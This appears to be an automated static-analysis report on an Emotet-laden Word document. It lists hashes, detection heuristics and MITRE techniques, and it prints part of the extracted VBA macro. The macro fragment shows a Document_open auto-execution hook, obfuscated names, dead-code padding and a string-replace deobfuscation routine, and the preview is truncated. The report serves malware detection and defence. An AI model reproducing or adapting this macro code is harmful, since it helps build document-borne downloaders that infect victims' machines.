Emotet — Office (OLE) / .DOCX malware analysis

Static analysis result for SHA-256 768f3c029cc79ae2…

MALICIOUS

Office (OLE) / .DOCX

183.5 KB Created: 2020-12-23 07:47:00 Authoring application: Microsoft Office Word
MD5: b66d8fe119418a8a69d1276b36eb2fc0 SHA-1: 4b921043d94136bca5d42ad98a1b7e962a5b9af1 SHA-256: 768f3c029cc79ae21d7c732487da93f0e8c7d19a83737f9ce7e107e3adc9054c
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open auto-execution macro, which is a common technique for Emotet. The heuristic firings and ClamAV detection strongly indicate a downloader. The obfuscated document body text suggests an attempt to disguise the malicious nature of the document, likely a lure to execute the macro.

Heuristics 6

  • ClamAV: Doc.Downloader.EmotetRed02224-9938637-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02224-9938637-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
d5578521430d19d3e1a741e6facd5db8ed236e25c6fc3d692889ddd7a6d225bf
vba-macro oletools.olevba.extract_macros (decoded VBA source) 8783 bytes
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "J2w51lcqjjoj4"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Mlffhr06wf9elp3s
End Sub

Attribute VB_Name = "Wva9kvdvuo2qt"
Attribute VB_Base = "0{36BA30BE-7273-4042-AC90-AB4370F791F0}{414EBF46-F7B1-422B-BA7B-6770A8A380FE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Phj9t0tqibg"
Attribute VB_Base = "0{DDF60558-BCF8-4888-ABB8-87646F683844}{538867E3-EDF3-4A40-9A7A-25BFA629151E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "U546pcho3o1e9b"
Attribute VB_Base = "0{AFF3EBF1-C7DA-42B7-965B-CC198D53FA81}{14E84CCC-BBF8-4AFD-871A-689D6360BE79}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Rm1biq3l023a4"
Attribute VB_Base = "0{DDEA60A4-6CC4-4402-BEE4-62C3AF477AEC}{84E24FFC-6481-4127-A859-650A5F73A33F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Km0263j4z0yjenisf"
Attribute VB_Base = "0{E10909B6-711D-405C-993B-1E35D29AD404}{B515FA61-B6E9-45DC-8D17-6359E767D328}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Mw6dta0aas5"
Attribute VB_Base = "0{457FD3F3-AE47-4069-8C37-D66B439F6DC6}{B381BA98-8153-4B4C-BCAC-09416F7A2C33}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Qbpvmb3ndjc"
Attribute VB_Base = "0{3A425B5B-1CA2-4D39-9176-8285D9FA7648}{462E5D8C-B7EE-444F-A64F-AD3AEF2E1AFB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Q2o_lpdrv3tg0l4045"
Attribute VB_Base = "0{1F3B2FEC-1ADF-43D9-9AD4-737FECE5C19E}{72F59A5C-55B6-4048-9750-6AC0FE437F64}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Qpesbw8_wpk"
   

Attribute VB_Name = "Cl8lbak6z698zg"
Function Tsk4fjwkggzp7izf(Jrgm5ed9ltqh_)
   GoTo HIaua
Dim SnlYVonuC() As Byte
Dim waHaSJdIg As Integer: waHaSJdIg = FreeFile
Open "Z:\gJwSAAA\sstOx\lvMfJRnGA.TOtLSqJ" For Binary Access Read As #waHaSJdIg
ReDim SnlYVonuC(0 To LOF(fileInt) - 1)
Get #waHaSJdIg, , SnlYVonuC
Close #waHaSJdIg
HIaua:
Tsk4fjwkggzp7izf = VBA.Replace _
(Jrgm5ed9ltqh_, "))c((w(", H0v5ho5rkdcf3wze)
   GoTo UONnDxAtB
Dim NdpQJGDH() As Byte
Dim llIhZvE As Integer: llIhZvE = FreeFile
Open "Z:\UiyVAA\jdYaJnHE\LKXUGBBE.oZHzwBIE" For Binary Access Read As #llIhZvE
ReDim NdpQJGDH(0 To LOF(fileInt) - 1)
Get #llIhZvE, , NdpQJGDH
Close #llIhZvE
UONnDxAtB:
End Function
Function Mlffhr06wf9elp3s()
On Error Resume Next
xx = J2w51lcqjjoj4.StoryRanges.Item(1)
   GoTo PLLLl
Dim qYsWiCCAA() As Byte
Dim xwqYZ As Integer: xwqYZ = FreeFile
Open "Z:\XUcIsEGET\OENyQHED\vWFBtlCB.BbTnk" For Binary Access Re
... (truncated)